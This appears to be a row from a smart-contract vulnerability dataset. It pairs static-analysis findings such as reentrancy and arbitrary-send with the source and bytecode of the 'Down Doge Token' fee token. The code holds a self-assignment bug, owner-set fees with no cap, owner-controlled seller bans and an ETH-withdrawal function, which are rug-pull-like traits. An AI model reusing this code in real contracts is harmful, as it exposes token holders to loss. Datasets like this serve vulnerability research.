8e0908263ffffffff61073f16565b600355506008805460ff19166001179055565b60008282018381101561090257fe5b9392505050565b600080828481151561091757fe5b04949350505050565b6040805180820190915260008082526020820152905600a165627a7a72305820a4cf873fbe9b343c2ccd31ee3f000c76c67f14a4a602bdc0cb4af4a10ac9677a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,306 |
0x819b983f42d29bf79a5fa26fe22b24427d80bb1d
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_Owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _Owner;
}
modifier onlyOwner() {
require(_Owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface FTPAntiBot {
function scanAddress(address _address, address _safeAddress, address _origin) external returns (bool);
function registerBlock(address _recipient, address _sender, address _origin) external;
}
contract Balancer {
constructor() {
}
}
contract DownDogeToken is Context, IERC20, Ownable {
using SafeMath for uint256;
uint256 internal _total_supply = 1_000_000_000_000 * 10**9;
string private _Name = "Down Doge Token";
string private _Symbol = "DDT";
uint8 private _Decimals = 9;
uint256 private _BanCount = 0;
uint256 public _minTokensBeforeSwap = 1_000_000 * 10**9; // 1,000,000 DDT
uint256 public _minWeiBeforeSwap = 1000_000_000 * 10**9; // 1 Eth
uint256 public _lastBuyAndBurn = block.timestamp ;
uint256 public _buyAndBurnInterval = 30 minutes;
uint256 public _totalBurntFees;
uint256 private _BuyBackFee = 6;
uint256 private _CharityFee = 2;
uint256 private _DevFee = 2;
address payable private _FeeAddress;
address payable private _DevAddress;
address private _UniswapV2Pair;
bool private _IsSwap = false;
bool private _AntiBotEnabled = true;
bool private _buyAndBurnEnabled = true;
address public _AntiBotAddress = 0xCD5312d086f078D1554e8813C27Cf6C9D1C3D9b3;
address public _DeadWallet = 0x000000000000000000000000000000000000dEaD;
address public _balancer;
bool public _SwapEnabled = false;
bool public _TradingOpened = false;
uint256 public _CalledReadyToTax = 0;
bool public _CalledReadyToTax2 = false;
uint256 public _CalledTax1 = 0;
uint256 public _CalledTax2 = 0;
uint256 public _CalledTax3 = 0;
uint256 public _CalledSenderNotUni = 0;
uint256 public _CalledBuyAndBurn = 0;
uint256 public _CalledCanSwap = 0;
uint256 public _CalledSwapTokensForETH = 0;
mapping (address => bool) private _Bots;
mapping (address => bool) private _ExcludedAddresses;
mapping (address => uint256) private _Balances;
mapping (address => mapping (address => uint256)) private _Allowances;
FTPAntiBot private AntiBot;
IUniswapV2Router02 private _UniswapV2Router;
event BanAddress(address Address, address Origin);
event Burnt(uint256 Amount);
modifier lockTheSwap {
_IsSwap = true;
_;
_IsSwap = false;
}
constructor (address payable _feeAddress, address payable _devAddress ) {
_FeeAddress = _feeAddress;
_DevAddress = _DevAddress;
_initAntiBot(); // activates antibot if enabled
_balancer = address(new Balancer()); // new contract to handle auto buy-back
_Balances[owner()] = _total_supply.div(100).mul(50); // send 50% to owner address for presale, remaining will be sent back to contract before liquidity will be added.
_Balances[address(this)] = _total_supply.div(100).mul(50);
_ExcludedAddresses[owner()] = true;
_ExcludedAddresses[address(this)] = true;
_ExcludedAddresses[_balancer] = true;
_ExcludedAddresses[_feeAddress] = true;
_ExcludedAddresses[_devAddress] = true;
emit Transfer(address(0), address(this), _total_supply);
}
receive() external payable {}
// ####################
// ##### DEFAULTS #####
// ####################
function name() public view returns (string memory) {
return _Name;
}
function symbol() public view returns (string memory) {
return _Symbol;
}
function decimals() public view returns (uint8) {
return _Decimals;
}
// #####################
// ##### OVERRIDES #####
// #####################
function totalSupply() public view override returns (uint256) {
return _total_supply;
}
function balanceOf(address _account) public view override returns (uint256) {
return _Balances[_account];
}
function transfer(address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_msgSender(), _recipient, _amount);
return true;
}
function allowance(address _owner, address _spender) public view override returns (uint256) {
return _Allowances[_owner][_spender];
}
function approve(address _spender, uint256 _amount) public override returns (bool) {
_approve(_msgSender(), _spender, _amount);
return true;
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_sender, _recipient, _amount);
_approve(_sender, _msgSender(), _Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
// ####################
// ##### PRIVATES #####
// ####################
function _readyToTax(address _sender) private returns(bool) {
_CalledReadyToTax += 1;
_CalledReadyToTax2 = _senderNotUni(_sender) && !_ExcludedAddresses[_sender] && _SwapEnabled;
return _CalledReadyToTax2;
}
function _notOwnerAddress(address _sender, address _recipient) private view returns(bool) {
return _sender != owner() && _recipient != owner() && _TradingOpened;
}
function _senderNotUni(address _sender) private view returns(bool) {
return _sender != _UniswapV2Pair;
}
function _approve(address _owner, address _spender, uint256 _amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
_Allowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
function _transfer(address _sender, address _recipient, uint256 _amount) private {
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_recipient != address(0), "ERC20: transfer to the zero address");
require(_amount > 0, "Transfer amount must be greater than zero");
require(_TradingOpened || _sender == owner() || _recipient == owner() ||
_ExcludedAddresses[_sender] || _ExcludedAddresses[_recipient], "Trading is locked.");
uint256 _bbFee = _setBuyBackFee(_sender, _recipient); // buy-back fees
uint256 _cFee = _setCharityFee(_sender, _recipient); // charity fee
uint256 _dFee = _setDevFee(_sender, _recipient); // dev fee
uint256 _bbFeeAmount = _amount.div(100).mul(_bbFee);
uint256 _cFeeAmount = _amount.div(100).mul(_cFee);
uint256 _dFeeAmount = _amount.div(100).mul(_dFee);
uint256 _totalFee = _bbFeeAmount.add(_cFeeAmount).add(_dFeeAmount);
uint256 _newAmount = _amount.sub(_totalFee);
_Balances[address(this)] = _Balances[address(this)].add(_totalFee);
if (_AntiBotEnabled)
_checkBot(_recipient, _sender, tx.origin); //calls AntiBot for results
if(_senderNotUni(_sender)) {
_CalledSenderNotUni += 1;
require(!_Bots[_sender]); // Local logic for banning based on AntiBot results
_tax(_sender);
}
_Balances[_sender] = _Balances[_sender].sub(_amount);
_Balances[_recipient] = _Balances[_recipient].add(_newAmount);
emit Transfer(_sender, _recipient, _newAmount);
if (_AntiBotEnabled)
AntiBot.registerBlock(_sender, _recipient, tx.origin); //Tells AntiBot to start watching
}
function _checkBot(address _recipient, address _sender, address _origin) private {
if((_recipient == _UniswapV2Pair || _sender == _UniswapV2Pair) && _TradingOpened){
bool recipientAddress = AntiBot.scanAddress(_recipient, _UniswapV2Pair, _origin); // Get AntiBot result
bool senderAddress = AntiBot.scanAddress(_sender, _UniswapV2Pair, _origin); // Get AntiBot result
if(recipientAddress){
_banSeller(_recipient);
_banSeller(_origin);
emit BanAddress(_recipient, _origin);
}
if(senderAddress){
_banSeller(_sender);
_banSeller(_origin);
emit BanAddress(_sender, _origin);
}
}
}
function _banSeller(address _address) private {
if(!_Bots[_address])
_BanCount += 1;
_Bots[_address] = true;
}
function _setBuyBackFee(address _sender, address _recipient) private view returns(uint256){
bool _takeFee = !(_ExcludedAddresses[_sender] || _ExcludedAddresses[_recipient]);
uint256 _buyBackFee;
if(!_takeFee)
_buyBackFee = 0;
if(_takeFee)
_buyBackFee = _BuyBackFee;
return _buyBackFee;
}
function _setCharityFee(address _sender, address _recipient) private view returns(uint256){
bool _takeFee = !(_ExcludedAddresses[_sender] || _ExcludedAddresses[_recipient]);
uint256 _charityFee;
if(!_takeFee)
_charityFee = 0;
if(_takeFee)
_charityFee = _CharityFee;
return _charityFee;
}
function _setDevFee(address _sender, address _recipient) private view returns(uint256){
bool _takeFee = !(_ExcludedAddresses[_sender] || _ExcludedAddresses[_recipient]);
uint256 _devFee;
if(!_takeFee)
_devFee = 0;
if(_takeFee)
_devFee = _DevFee;
return _devFee;
}
function _tax(address _sender) private {
uint256 _tokenBalance = balanceOf(address(this));
uint256 _FeesSum = _CharityFee.add(_BuyBackFee).add(_DevFee);
uint256 _cAmount = _tokenBalance.div(_FeesSum).mul(_CharityFee);
uint256 _bbAmount = _tokenBalance.div(_FeesSum).mul(_BuyBackFee);
uint256 _dAmount = _tokenBalance.div(_FeesSum).mul(_DevFee);
uint256 _contractBalance = address(this).balance;
bool swap = true;
_CalledTax1 += 1;
if (block.timestamp > _lastBuyAndBurn + _buyAndBurnInterval
&& _buyAndBurnEnabled
&& _contractBalance >= _minWeiBeforeSwap) {
_CalledBuyAndBurn += 1;
_buyAndBurnToken(_contractBalance);
swap = false;
}
if (swap) {
_CalledCanSwap += 1;
if (_readyToTax(_sender)) {
_CalledTax2 += 1;
if (_tokenBalance >= _minTokensBeforeSwap) {
_CalledTax3 += 1;
_swapTokensForETH(address(this), _bbAmount);
_swapTokensForETH(_FeeAddress, _cAmount);
_swapTokensForETH(_DevAddress, _dAmount);
}
}
}
}
function _swapTokensForETH(address _recipient, uint256 _amount) private lockTheSwap {
_CalledSwapTokensForETH += 1;
address[] memory _path = new address[](2);
_path[0] = address(this);
_path[1] = _UniswapV2Router.WETH();
_approve(address(this), address(_UniswapV2Router), _amount);
_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
_amount,
0,
_path,
_recipient,
block.timestamp
);
}
function _swapEthForTokens(uint256 _EthAmount) private {
address[] memory _path = new address[](2);
_path[0] = _UniswapV2Router.WETH();
_path[1] = address(this);
//@dev buy back tokens but send bought tokens to balancer to be burnt
_UniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: _EthAmount}(
0,
_path,
address(_balancer),
block.timestamp
);
}
function _initAntiBot() private {
if (_AntiBotEnabled) {
FTPAntiBot _antiBot = FTPAntiBot(_AntiBotAddress);
AntiBot = _antiBot;
}
}
function _buyAndBurnToken(uint256 _contractBalance) private lockTheSwap {
_lastBuyAndBurn = block.timestamp;
//@dev using smart contract generated account to automate buybacks, Uniswap doesn't allow for a contract to by itself
_swapEthForTokens(_contractBalance);
//@dev How much tokens we swaped into
uint256 _swapedTokens = balanceOf(address(_balancer));
uint256 amountToBurn = _swapedTokens;
_Balances[address(_balancer)] = 0;
_Balances[_DeadWallet] = _Balances[_DeadWallet].add(amountToBurn);
_totalBurntFees = _totalBurntFees.add(amountToBurn);
emit Transfer(address(_balancer), _DeadWallet, amountToBurn);
emit Burnt(amountToBurn);
}
// ####################
// ##### EXTERNAL #####
// ####################
function banCount() external view returns (uint256) {
return _BanCount;
}
function checkIfBanned(address _address) external view returns (bool) { //Tool for traders to verify ban status
bool _banBool = false;
if(_Bots[_address])
_banBool = true;
return _banBool;
}
function isAntiBotEnabled() external view returns (bool) {
return _AntiBotEnabled;
}
function isBuyAndBurnEnabled() external view returns (bool) {
return _buyAndBurnEnabled;
}
// ######################
// ##### ONLY OWNER #####
// ######################
function addLiquidity() external onlyOwner() {
require(!_TradingOpened,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_UniswapV2Router = _uniswapV2Router;
_approve(address(this), address(_UniswapV2Router), _total_supply);
_UniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_UniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); // check
_SwapEnabled = true;
_TradingOpened = true;
IERC20(_UniswapV2Pair).approve(address(_UniswapV2Router), type(uint).max);
}
function manualBan(address _a) external onlyOwner() {
_banSeller(_a);
}
function removeBan(address _a) external onlyOwner() {
_Bots[_a] = false;
_BanCount -= 1;
}
function contractEthBalance() external view onlyOwner() returns (uint256) {
return address(this).balance;
}
function setFeeAddress(address payable _feeAddress) external onlyOwner() {
_FeeAddress = _feeAddress;
_ExcludedAddresses[_feeAddress] = true;
}
function setBuyAndBurnFee(uint256 _fee) external onlyOwner() {
_BuyBackFee = _fee;
}
function setCharityFee(uint256 _fee) external onlyOwner() {
_CharityFee = _fee;
}
function setDevFee(uint256 _fee) external onlyOwner() {
_DevFee = _fee;
}
function assignAntiBot(address _address) external onlyOwner() { // Highly recommend use of a function that can edit AntiBot contract address to allow for AntiBot version updates
_AntiBotAddress = _address;
_initAntiBot();
}
function setMinBuyAndBurnWei(uint256 _amount) public onlyOwner {
_minWeiBeforeSwap = _amount;
}
function setMinTokensSellForBuyBack(uint256 _amount) public onlyOwner {
_minTokensBeforeSwap = _amount;
}
function emergencyContractEthRemoval(uint256 _amount, address payable _recipient) public onlyOwner {
//@dev all contract ETH is considered ETH to be used for buybacks.
//If someone accidentally sends ETH to contract there might be a slight chance to refund their ETH as long as buy back has not executed
uint256 _contractBalance = address(this).balance;
require( _amount <= _contractBalance, "Can't remove more ETH than available ETH");
_recipient.transfer(_amount);
}
function toggleAntiBot() external onlyOwner() { // Having a way to turn interaction with other contracts on/off is a good design practice
_AntiBotEnabled = !_AntiBotEnabled;
}
function toggleBuyAndBurn() external onlyOwner() { // Having a way to turn interaction with other contracts on/off is a good design practice
_buyAndBurnEnabled = !_buyAndBurnEnabled;
}
function toggleSwapAndOpenTrade() external onlyOwner() {
_SwapEnabled = !_SwapEnabled;
_TradingOpened = !_TradingOpened;
}
}
|
0x6080604052600436106102965760003560e01c80638309f41d1161015a578063c0d7e193116100c1578063def5679e1161007a578063def5679e146107a8578063e339fbc5146107c9578063e8078d94146107df578063f39d76d7146107f4578063fa29fb8314610814578063fa2b20091461082a57600080fd5b8063c0d7e193146106d8578063cabcec42146106ee578063d0fd27081461070d578063d9df0fcb1461072d578063dd62ed3e14610743578063de74d1d11461078757600080fd5b806395d89b411161011357806395d89b411461064c578063a20936ca14610661578063a9059cbb14610677578063ad5390bc14610697578063af74ff5b146106ad578063b3a8238a146106c257600080fd5b80638309f41d146105ad578063865bcec9146105c35780638705fcd4146105e357806389bc2f9c146106035780638aadb809146106185780638da5cb5b1461062e57600080fd5b80633908cfd2116101fe5780635d58ce36116101b75780635d58ce36146104e357806361d371dd146104f857806362caa70414610517578063700542ec1461053757806370a08231146105575780637dbd4d081461058d57600080fd5b80633908cfd2146104305780633a4e7b4a146104505780633ef4ef4d146104655780634443fc091461049d57806345781177146104b757806348dcc5c1146104cd57600080fd5b806320c7c5961161025057806320c7c59614610378578063228e7a911461039857806323b872dd146103b8578063248efcfa146103d857806325f1197f146103f8578063313ce5671461040e57600080fd5b8062696b7f146102a257806306fdde03146102c4578063095ea7b3146102ef57806311f9999c1461031f57806318160ddd146103435780631c75b6b21461035857600080fd5b3661029d57005b600080fd5b3480156102ae57600080fd5b506102c26102bd366004612459565b61083f565b005b3480156102d057600080fd5b506102d9610877565b6040516102e6919061253a565b60405180910390f35b3480156102fb57600080fd5b5061030f61030a36600461240e565b610909565b60405190151581526020016102e6565b34801561032b57600080fd5b50610335601b5481565b6040519081526020016102e6565b34801561034f57600080fd5b50600154610335565b34801561036457600080fd5b506102c2610373366004612459565b610920565b34801561038457600080fd5b506102c2610393366004612459565b61094f565b3480156103a457600080fd5b506102c26103b336600461235e565b61097e565b3480156103c457600080fd5b5061030f6103d33660046123ce565b6109b4565b3480156103e457600080fd5b506102c26103f3366004612459565b610a1b565b34801561040457600080fd5b5061033560195481565b34801561041a57600080fd5b5060045460405160ff90911681526020016102e6565b34801561043c57600080fd5b506102c261044b36600461235e565b610a4a565b34801561045c57600080fd5b506102c2610aaf565b34801561047157600080fd5b50601354610485906001600160a01b031681565b6040516001600160a01b0390911681526020016102e6565b3480156104a957600080fd5b5060155461030f9060ff1681565b3480156104c357600080fd5b50610335600a5481565b3480156104d957600080fd5b50610335601c5481565b3480156104ef57600080fd5b50610335610b20565b34801561050457600080fd5b50601054600160a81b900460ff1661030f565b34801561052357600080fd5b506102c261053236600461235e565b610b50565b34801561054357600080fd5b5061030f61055236600461235e565b610b9d565b34801561056357600080fd5b5061033561057236600461235e565b6001600160a01b03166000908152601f602052604090205490565b34801561059957600080fd5b50601154610485906001600160a01b031681565b3480156105b957600080fd5b5061033560185481565b3480156105cf57600080fd5b506102c26105de366004612459565b610bc9565b3480156105ef57600080fd5b506102c26105fe36600461235e565b610bf8565b34801561060f57600080fd5b506102c2610c5c565b34801561062457600080fd5b5061033560065481565b34801561063a57600080fd5b506000546001600160a01b0316610485565b34801561065857600080fd5b506102d9610ca7565b34801561066d57600080fd5b5061033560145481565b34801561068357600080fd5b5061030f61069236600461240e565b610cb6565b3480156106a357600080fd5b5061033560075481565b3480156106b957600080fd5b506102c2610cc3565b3480156106ce57600080fd5b5061033560095481565b3480156106e457600080fd5b5061033560085481565b3480156106fa57600080fd5b50601054600160b01b900460ff1661030f565b34801561071957600080fd5b506102c2610728366004612471565b610d0e565b34801561073957600080fd5b50610335601a5481565b34801561074f57600080fd5b5061033561075e366004612396565b6001600160a01b0391821660009081526020808052604080832093909416825291909152205490565b34801561079357600080fd5b5060135461030f90600160a01b900460ff1681565b3480156107b457600080fd5b5060135461030f90600160a81b900460ff1681565b3480156107d557600080fd5b5061033560165481565b3480156107eb57600080fd5b506102c2610dd6565b34801561080057600080fd5b50601254610485906001600160a01b031681565b34801561082057600080fd5b5061033560175481565b34801561083657600080fd5b50600554610335565b6000546001600160a01b031633146108725760405162461bcd60e51b81526004016108699061258d565b60405180910390fd5b600655565b6060600280546108869061266c565b80601f01602080910402602001604051908101604052809291908181526020018280546108b29061266c565b80156108ff5780601f106108d4576101008083540402835291602001916108ff565b820191906000526020600020905b8154815290600101906020018083116108e257829003601f168201915b5050505050905090565b600061091633848461126a565b5060015b92915050565b6000546001600160a01b0316331461094a5760405162461bcd60e51b81526004016108699061258d565b600d55565b6000546001600160a01b031633146109795760405162461bcd60e51b81526004016108699061258d565b600c55565b6000546001600160a01b031633146109a85760405162461bcd60e51b81526004016108699061258d565b6109b18161138c565b50565b60006109c18484846113e9565b610a118433610a0c856040518060600160405280602881526020016126d3602891396001600160a01b038a166000908152602080805260408083203384529091529020549190611843565b61126a565b5060019392505050565b6000546001600160a01b03163314610a455760405162461bcd60e51b81526004016108699061258d565b600755565b6000546001600160a01b03163314610a745760405162461bcd60e51b81526004016108699061258d565b6001600160a01b0381166000908152601d60205260408120805460ff191690556005805460019290610aa7908490612655565b909155505050565b6000546001600160a01b03163314610ad95760405162461bcd60e51b81526004016108699061258d565b60138054600160a81b60ff600160a01b8084048216150260ff60a01b19841681178390049091161590910260ff60a81b1990911661ffff60a01b1990921691909117179055565b600080546001600160a01b03163314610b4b5760405162461bcd60e51b81526004016108699061258d565b504790565b6000546001600160a01b03163314610b7a5760405162461bcd60e51b81526004016108699061258d565b601180546001600160a01b0319166001600160a01b0383161790556109b161187d565b6001600160a01b0381166000908152601d6020526040812054819060ff161561091a5750600192915050565b6000546001600160a01b03163314610bf35760405162461bcd60e51b81526004016108699061258d565b600b55565b6000546001600160a01b03163314610c225760405162461bcd60e51b81526004016108699061258d565b600e80546001600160a01b039092166001600160a01b0319909216821790556000908152601e60205260409020805460ff19166001179055565b6000546001600160a01b03163314610c865760405162461bcd60e51b81526004016108699061258d565b6010805460ff60b01b198116600160b01b9182900460ff1615909102179055565b6060600380546108869061266c565b60006109163384846113e9565b6000546001600160a01b03163314610ced5760405162461bcd60e51b81526004016108699061258d565b6010805460ff60a81b198116600160a81b9182900460ff1615909102179055565b6000546001600160a01b03163314610d385760405162461bcd60e51b81526004016108699061258d565b4780831115610d9a5760405162461bcd60e51b815260206004820152602860248201527f43616e27742072656d6f7665206d6f726520455448207468616e20617661696c6044820152670c2c4d8ca408aa8960c31b6064820152608401610869565b6040516001600160a01b0383169084156108fc029085906000818181858888f19350505050158015610dd0573d6000803e3d6000fd5b50505050565b6000546001600160a01b03163314610e005760405162461bcd60e51b81526004016108699061258d565b601354600160a81b900460ff1615610e5a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610869565b602280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600154610e93903090839061126a565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ecc57600080fd5b505afa158015610ee0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f04919061237a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f4c57600080fd5b505afa158015610f60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f84919061237a565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610fcc57600080fd5b505af1158015610fe0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611004919061237a565b601080546001600160a01b039283166001600160a01b03199091161790556022541663f305d719473061104c816001600160a01b03166000908152601f602052604090205490565b6000806110616000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156110c457600080fd5b505af11580156110d8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110fd9190612495565b50506013805461ffff60a01b191661010160a01b1790555060105460225460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b15801561116657600080fd5b505af115801561117a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119e9190612439565b5050565b60006111e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118b4565b9392505050565b6000826111fa5750600061091a565b60006112068385612636565b9050826112138583612616565b146111e45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610869565b6001600160a01b0383166112cc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610869565b6001600160a01b03821661132d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610869565b6001600160a01b038381166000818152602080805260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0381166000908152601d602052604090205460ff166113c5576001600560008282546113bf91906125fe565b90915550505b6001600160a01b03166000908152601d60205260409020805460ff19166001179055565b6001600160a01b03831661144d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610869565b6001600160a01b0382166114af5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610869565b600081116115115760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610869565b601354600160a81b900460ff168061153657506000546001600160a01b038481169116145b8061154e57506000546001600160a01b038381169116145b8061157157506001600160a01b0383166000908152601e602052604090205460ff165b8061159457506001600160a01b0382166000908152601e602052604090205460ff165b6115d55760405162461bcd60e51b81526020600482015260126024820152712a3930b234b7339034b9903637b1b5b2b21760711b6044820152606401610869565b60006115e184846118e2565b905060006115ef8585611944565b905060006115fd86866119a5565b90506000611616846116108760646111a2565b906111eb565b90506000611629846116108860646111a2565b9050600061163c846116108960646111a2565b905060006116548261164e8686611a06565b90611a06565b905060006116628983611a65565b306000908152601f602052604090205490915061167f9083611a06565b306000908152601f6020526040902055601054600160a81b900460ff16156116ac576116ac8a8c32611aa7565b6010546001600160a01b038c8116911614611708576001601960008282546116d491906125fe565b90915550506001600160a01b038b166000908152601d602052604090205460ff16156116ff57600080fd5b6117088b611cd9565b6001600160a01b038b166000908152601f602052604090205461172b908a611a65565b6001600160a01b03808d166000908152601f602052604080822093909355908c168152205461175a9082611a06565b6001600160a01b03808c166000818152601f602052604090819020939093559151908d16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117ae9085815260200190565b60405180910390a3601054600160a81b900460ff16156118365760215460405163155d0ed960e01b81526001600160a01b038d811660048301528c811660248301523260448301529091169063155d0ed990606401600060405180830381600087803b15801561181d57600080fd5b505af1158015611831573d6000803e3d6000fd5b505050505b5050505050505050505050565b600081848411156118675760405162461bcd60e51b8152600401610869919061253a565b5060006118748486612655565b95945050505050565b601054600160a81b900460ff16156118b257601154602180546001600160a01b0319166001600160a01b039092169190911790555b565b600081836118d55760405162461bcd60e51b8152600401610869919061253a565b5060006118748486612616565b6001600160a01b0382166000908152601e6020526040812054819060ff168061192357506001600160a01b0383166000908152601e602052604090205460ff165b159050600081611931575060005b811561193c5750600b545b949350505050565b6001600160a01b0382166000908152601e6020526040812054819060ff168061198557506001600160a01b0383166000908152601e602052604090205460ff165b159050600081611993575060005b811561193c575050600c549392505050565b6001600160a01b0382166000908152601e6020526040812054819060ff16806119e657506001600160a01b0383166000908152601e602052604090205460ff165b1590506000816119f4575060005b811561193c575050600d549392505050565b600080611a1383856125fe565b9050838110156111e45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610869565b60006111e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611843565b6010546001600160a01b0384811691161480611ad057506010546001600160a01b038381169116145b8015611ae55750601354600160a81b900460ff165b15611cd4576021546010546040516312bdf42360e01b81526001600160a01b0386811660048301529182166024820152838216604482015260009291909116906312bdf42390606401602060405180830381600087803b158015611b4857600080fd5b505af1158015611b5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b809190612439565b6021546010546040516312bdf42360e01b81526001600160a01b038781166004830152918216602482015285821660448201529293506000929116906312bdf42390606401602060405180830381600087803b158015611bdf57600080fd5b505af1158015611bf3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c179190612439565b90508115611c7557611c288561138c565b611c318361138c565b604080516001600160a01b038088168252851660208201527f9a7289cf5e3a6716dd5e9f62deae04d4bc9df473808bf34bcdbcf22459424392910160405180910390a15b8015611cd157611c848461138c565b611c8d8361138c565b604080516001600160a01b038087168252851660208201527f9a7289cf5e3a6716dd5e9f62deae04d4bc9df473808bf34bcdbcf22459424392910160405180910390a15b50505b505050565b306000908152601f602052604081205490506000611d0a600d5461164e600b54600c54611a0690919063ffffffff16565b90506000611d27600c5461161084866111a290919063ffffffff16565b90506000611d44600b5461161085876111a290919063ffffffff16565b90506000611d61600d5461161086886111a290919063ffffffff16565b6016805491925047916001918291600090611d7d9084906125fe565b9091555050600954600854611d9291906125fe565b42118015611da95750601054600160b01b900460ff165b8015611db757506007548210155b15611de2576001601a6000828254611dcf91906125fe565b90915550611dde905082611e89565b5060005b8015611e7f576001601b6000828254611dfb91906125fe565b90915550611e0a905088611f9c565b15611e7f57600160176000828254611e2291906125fe565b90915550506006548710611e7f57600160186000828254611e4391906125fe565b90915550611e539050308561201b565b600e54611e69906001600160a01b03168661201b565b600f54611e7f906001600160a01b03168461201b565b5050505050505050565b6010805460ff60a01b1916600160a01b17905542600855611ea9816121dc565b6013546001600160a01b039081166000908152601f602052604080822080549083905560125490931682529020548190611ee39082611a06565b6012546001600160a01b03166000908152601f6020526040902055600a54611f0b9082611a06565b600a556012546013546040518381526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360405181